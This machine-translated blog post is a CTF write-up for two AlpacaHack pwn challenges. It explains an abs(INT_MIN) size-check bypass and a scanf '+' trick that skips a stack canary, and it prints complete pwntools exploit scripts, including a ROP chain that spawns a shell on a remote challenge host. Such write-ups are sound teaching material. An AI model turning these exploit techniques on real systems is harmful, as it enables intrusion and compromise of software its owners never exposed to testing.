All Articles

AlpacaHack Round 1 (Pwn) Writeup - Part 1

This page has been machine-translated from the original page.

I finally wrote the long-postponed writeup for AlpacaHack Round 1 (Pwn).

I ran out of energy, so I will cover the remaining two challenges another time.

Reference: Challenges - AlpacaHack Round 1 (Pwn)

Table of Contents

echo(Pwn)

A service for reachability check.

The challenge provided C source code and an executable binary.

First, I checked the binary’s protection mechanisms.

image-20240818120620924

Next, I looked at the provided source code.

Since PIE is disabled, it looks like a simple buffer overflow into the win function should give the flag, but the get_size function validates the input size, so the overflow cannot be exploited so easily.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

While looking for a way to bypass the abs call in get_size, I found that, as shown below, it cannot correctly compute the absolute value when given signed INT_MIN.

Reference: c - Why is abs(INT_MIN) still -2147483648? - Stack Overflow

In get_data, however, the size is treated as an unsigned int rather than an int, so by supplying signed INT_MIN (-2147483648) as input, it becomes possible to push more than 0x100 bytes of data onto the stack.

I ultimately obtained the flag with the following solver.

from pwn import *

context.arch = "amd64"
context.endian = "little"

# Set target
TARGET_PATH = "./echo"
exe = ELF(TARGET_PATH)

target = remote("34.170.146.252", 17360, ssl=False)

# Exploit
# https://stackoverflow.com/questions/11243014/why-is-absint-min-still-2147483648
target.recvuntil(b"Size: ")
payload = b"-2147483648"
target.sendline(payload)

target.recvuntil(b"Data: ")
payload = flat(
    b"A"*0x110,
    b"B"*8,
    0x4011f6
)
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

This confirmed that the correct flag was Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}.

image-20240818132225642

hexecho(Pwn)

Stack canary makes me feel more secure.

As in the previous challenge, an executable binary and source code were provided.

This time, however, stack canaries appear to be enabled in the binary.

image-20240818133017795

To solve the challenge, I examined the following source code.

It is not very different from the previous challenge, but the size validation has been removed and the input is read in hexadecimal.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

Since there is no size validation, exploiting the buffer overflow itself is easy, but we still need to bypass the canary.

At first, however, I could not find a way to exploit the buffer overflow without either leaking or corrupting the canary.

Reading the official writeup, I learned that the key point is that the return value of scanf("%02hhx", buf + i); is never checked.

Reference: Writeup for AlpacaHack Round 1 (Pwn) - Let’s Do CTF

scanf Specifications and How to Exploit Them

In glibc 2.35, which this challenge binary uses, scanf is implemented as follows.

This function internally uses __vfscanf_internal and returns its done value.

int __scanf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfscanf_internal(stdin, format, arg, 0);
  va_end (arg);

  return done;
}

Reference: glibc/stdio-common/scanf.c at glibc-2.35 · bminor/glibc

The vfscanf-internal.c file is roughly 3,000 lines long, and honestly I did not feel like reading all of it, but I did notice several places where ++done is executed in code that appears to perform reads.

Since scanf returns the number of items successfully read, it also seems likely that the lines immediately before ++done are where the actual reads occur.

Reference: glibc/stdio-common/vfscanf-internal.c at glibc-2.35 · bminor/glibc

Reference: scanf(3) - Linux manual page

For scanf, when the input does not match the format string, it returns an input error and leaves the offending data in the input stream.

I verified this locally with the following program: when a character that does not match the format is entered, it remains in stdin afterward.

#include <stdio.h>

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  char buf[100];
  int ret;
  for(int i = 0; i < 9; i++) {
    buf[i] = '-';
  }
  for(int i = 0; i < 9; i++) {
    ret = scanf("%02hhx", buf+i);
    printf("BUF ==> %c\n", buf[i]);
    printf("RET ==> %d\n", ret);
  }
  return 0;
}

Below is the state of stdin after entering a character that does not match the format.

You can see that the character I entered remains in stdin even after calling scanf.

image-20240822203003245

You can also see that when invalid input causes an error, the buffer is not overwritten.

image-20240822213806022

An interesting detail here is that sign characters such as + and - can be interpreted as hexadecimal input, but they do not satisfy the %02hhx format and therefore cause an input error. This lets us consume data from the input stream while skipping scanf’s write into the buffer.

image-20240822214140557

Because this challenge fills the buffer one byte at a time using the code below, we can exploit this behavior to use the buffer overflow without overwriting the canary bytes.

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i);
}

Bypassing the Canary

Based on the above, I successfully bypassed the canary with the following payload.

payload = flat(
    b"+"*0x118,
    b"42"*0x100
)

# Exploit
target.recvuntil(b"Size: ")
target.sendline(str(0x118 + (0x100//2)).encode())

target.recvuntil(b"Data (hex): ")
target.sendline(payload)

After that, all that remained was to build a working ROP chain and get a shell.

Leaking libc

To get a shell with ROP, I next needed a way to leak a libc address.

At first I considered leaking it via ROP, but looking more carefully, the line printf("%02hhx ", (unsigned char)buf[i]); simply prints the contents of the stack.

Using this, I was able to obtain the address of libc_start_main_ret from the dumped stack.

image-20240822223143349

Exploit

After successfully bypassing the canary and leaking a libc address, I exploited the buffer overflow to execute a ROP chain, obtained a shell, and then got the flag.

image-20241019203747179

The final solver I wrote is shown below.

One thing that tripped me up was that when I tried to overwrite the buffer via scanf("%02hhx", buf + i);, giving input such as 22134000 somehow caused it to be written as 02 02 13 40.

Separating the input values with spaces made it parse them correctly.

from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]

# Set gdb script
gdbscript = f"""
b *0x401321
continue
"""

# Set target
TARGET_PATH = "./hexecho"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    target = remote("34.170.146.252", 29181, ssl=False)
    # target = process(TARGET_PATH)

rop_ret = " ".join([f"{x:0{2}X}" for x in p64(0x401370)]).encode()

payload = b"+"*0x118
payload += b" "
payload += rop_ret
payload += b" "
payload += " ".join([f"{x:0{2}X}" for x in p64(0x401322)]).encode()
payload += b"+"*0x8

# Exploit
target.recvuntil(b"Size: ")
target.sendline(str(0x118+8+8+8).encode())

target.recvuntil(b"Data (hex): ")
target.sendline(payload)

r = target.recvline_startswith("Received").decode().split(" ")[1:-1]

libc_start_main_ret = int("0x" + "".join(r[296:296+8][::-1]),16)
libc_base = libc_start_main_ret - 0x29d90
print(hex(libc_start_main_ret))


# Stage 2
rop_str_bin_sh = " ".join([f"{x:0{2}X}" for x in p64(libc_base+0x1d8678)]).encode()
rop_pop_rdi_ret = " ".join([f"{x:0{2}X}" for x in p64(libc_base+0x1bbea1)]).encode()
rop_system = " ".join([f"{x:0{2}X}" for x in p64(libc_base+0x50d70)]).encode()

payload = b"+"*0x118
payload += b" "
payload += rop_ret
payload += b" "
payload += rop_pop_rdi_ret
payload += b" "
payload += rop_str_bin_sh
payload += b" "
payload += rop_system
payload += b"+"*0x30

target.recvuntil(b"Size: ")
target.sendline(str(0x118 + 0x30).encode())

target.recvuntil(b"Data (hex): ")
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

Summary

I finally got around to writing this long-delayed writeup for AlpacaHack Round 1 (Pwn).

I had planned to write up the remaining two challenges as well, but I ran out of energy, so for now I only covered these two.